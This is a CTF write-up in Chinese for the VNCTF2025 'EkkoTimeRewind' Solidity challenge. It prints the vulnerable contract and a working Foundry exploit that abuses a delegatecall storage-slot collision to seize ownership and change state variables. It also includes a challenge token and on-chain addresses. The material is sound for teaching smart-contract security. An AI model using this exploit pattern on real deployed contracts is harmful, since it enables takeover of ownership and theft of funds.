倒带时间 这题主要考察的就是delegatecall数据存储,即委托调用目标合约时需要将数据类型存储顺序一一对应,这题的不同点是需要注意常数不占用数据存储槽,是直接十六进制编码。还有就是注意动态数组的声明和赋值方式。具体步骤就是先调用setZDriveowner函数把合约owner变成我们,再就是更改时间,只需要同名函数和参数即可,因为目标合约的time都是public关键字修饰,所以可以直接赋值。
目标合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 // SPDX-License-Identifier: GPL-3.0 //deployer account: 0x213b7d6704316ba5Fb063ae470f5E37De7468bC4 //token: v4.local.4ECWxtPLbmrkoKt1mt_t3Qczu3vCM5uuyTqH0_kNfhcRrL-8emkm2dXTx8VkJJWZrWx0-v_HsGMSXxTQTF9GMO4YSZWi65ZR8LxqBBIxMKq-Jc76jljE9BIpDDTMhbZO_tcFM_VO82qlACLidyYig1UjNhtyNfRBbRU18sgEKfFskA.RWtrb1RpbWVSZXdpbmQ //contract address: 0xC6873f0a4175c362477C09b814D92a08582D2184 pragma solidity ^0.8.0; contract EkkoTimeRewind { address public owner; //slot 0 string public constant saying = "U can do Anything in VNCTF2025"; bytes4 constant setZDriveownerSignature = bytes4(keccak256("setZDriveowner(uint256,uint256)")); address public rewindBeforeTime; // slot 1 address public rewindAfterTime; // slot 2 uint256 public Time0; //slot 3 uint256 public Time1; //slot 4 bool private isSetZDriveownerCalled = false; //slot bool private isSetTimeCalled = false; //slot address public zDriveContractAddress; //slot 7 constructor(address _zDriveContractAddress) { zDriveContractAddress = _zDriveContractAddress; rewindBeforeTime = address(this); rewindAfterTime = address(this); owner = msg.sender; } function setRewindBeforeTime(uint256 _Time0) public onlyWhitelisted { require( !isSetTimeCalled, "setRewindBeforeTime can only be called once" ); isSetTimeCalled = true; Time0 = _Time0; } function setRewindAfterTime(uint256 _Time1) public onlyWhitelisted { require(!isSetTimeCalled, "setRewindAfterTime can only be called once"); isSetTimeCalled = true; Time1 = _Time1; } function isSolved() public view returns (bool) { return (Time0 != 0 && Time1 != 0 && Time0 > Time1 + 4); } function setZDriveowner(bytes[] calldata data) public { require( !isSetZDriveownerCalled, "multicallSetZDriveowner has already been called once" ); for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if ( !isSetZDriveownerCalled && selector == setZDriveownerSignature ) { (bool success, ) = zDriveContractAddress.delegatecall(data[i]); require( success, "Error while delegating call to setZDriveowner" ); } else { revert("Invalid selector"); } } isSetZDriveownerCalled = true; } function setTime(bytes[] calldata data) public onlyWhitelisted { bytes4 rewindBeforeTimeSignature = bytes4( keccak256("setRewindBeforeTime(uint256)") ); bytes4 rewindAfterTimeSignature = bytes4( keccak256("setRewindAfterTime(uint256)") ); for (uint256 i = 0; i < data.length; i++) { bytes memory _data = data[i]; bytes4 selector; assembly { selector := mload(add(_data, 32)) } if (!isSetTimeCalled && selector == rewindBeforeTimeSignature) { (bool success, ) = rewindBeforeTime.delegatecall(data[i]); require( success, "Error while delegating call for rewindBeforeTime" ); } else if ( !isSetTimeCalled && selector == rewindAfterTimeSignature ) { (bool success, ) = rewindAfterTime.delegatecall(data[i]); require( success, "Error while delegating call for rewindAfterTime" ); } else { revert("Invalid selector"); } } } modifier onlyWhitelisted() { require(msg.sender == owner, "Not whitelisted"); _; } } contract ZDriveContract { uint256 public ZDriveowner; //slot 0 uint256 public Description; //slot 1 uint256 private callCounter = 0; //slot 2 event UsefulEvent(string message); function setZDriveowner(uint256 _ZDriveowner, uint256 _Description) public { ZDriveowner = _ZDriveowner; Description = _Description; callCounter++; emit UsefulEvent("Happy Chinese New Year!"); } function getSomeConstantInfo() public pure returns (string memory) { return "VNCTF2025"; } }
Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; //常数不占槽,所以可以一个传我们的地址另一个传攻击合约的地址 import {EkkoTimeRewind} from "../src/EkkoTimeRewind.sol"; import {Script, console} from "forge-std/Script.sol"; contract Hack { uint256 public ZDriveowner; //slot 0 uint256 public Description; //slot 1 address public contract_addr; uint256 public Time0; uint256 public Time1; address public msg_addr; function hack() public { contract_addr = 0xC6873f0a4175c362477C09b814D92a08582D2184; msg_addr = 0x949AC2C16Ea7B0B003927Db532908Fc97090d9E5; EkkoTimeRewind target = EkkoTimeRewind(contract_addr); // 构造 setZDriveowner 的 payload 数组(仅1个元素) bytes[] memory data1 = new bytes[](1); // data1[0] = abi.encodePacked( // keccak256("setZDriveowner(uint256,uint256)"), // uint256(uint160(address(this))), // uint256(uint160(address(this))) // ); data1[0] = abi.encodeWithSignature( "setZDriveowner(uint256,uint256)", uint256(uint160(address(this))), uint256(uint160(address(this))) ); target.setZDriveowner(data1); // 此时目标合约的 owner 变为 msg_addr,rewindBeforeTime 变为 address(this) console.log(target.owner()); // 构造 setTime 的 payload 数组(2个元素) bytes[] memory data2 = new bytes[](1); data2[0] = abi.encodeWithSignature( "setRewindBeforeTime(uint256)", uint256(6) ); target.setTime(data2); // 改变时间参数 console.log(target.rewindBeforeTime()); console.log(target.Time0()); require(target.isSolved(), "is not solved"); } function setRewindBeforeTime(uint256 _Time0) public { Time0 = _Time0; Time1 = 1; } } contract Attack is Script, Hack { function run() external { vm.startBroadcast(); Hack hack = new Hack(); hack.hack(); vm.stopBroadcast(); } }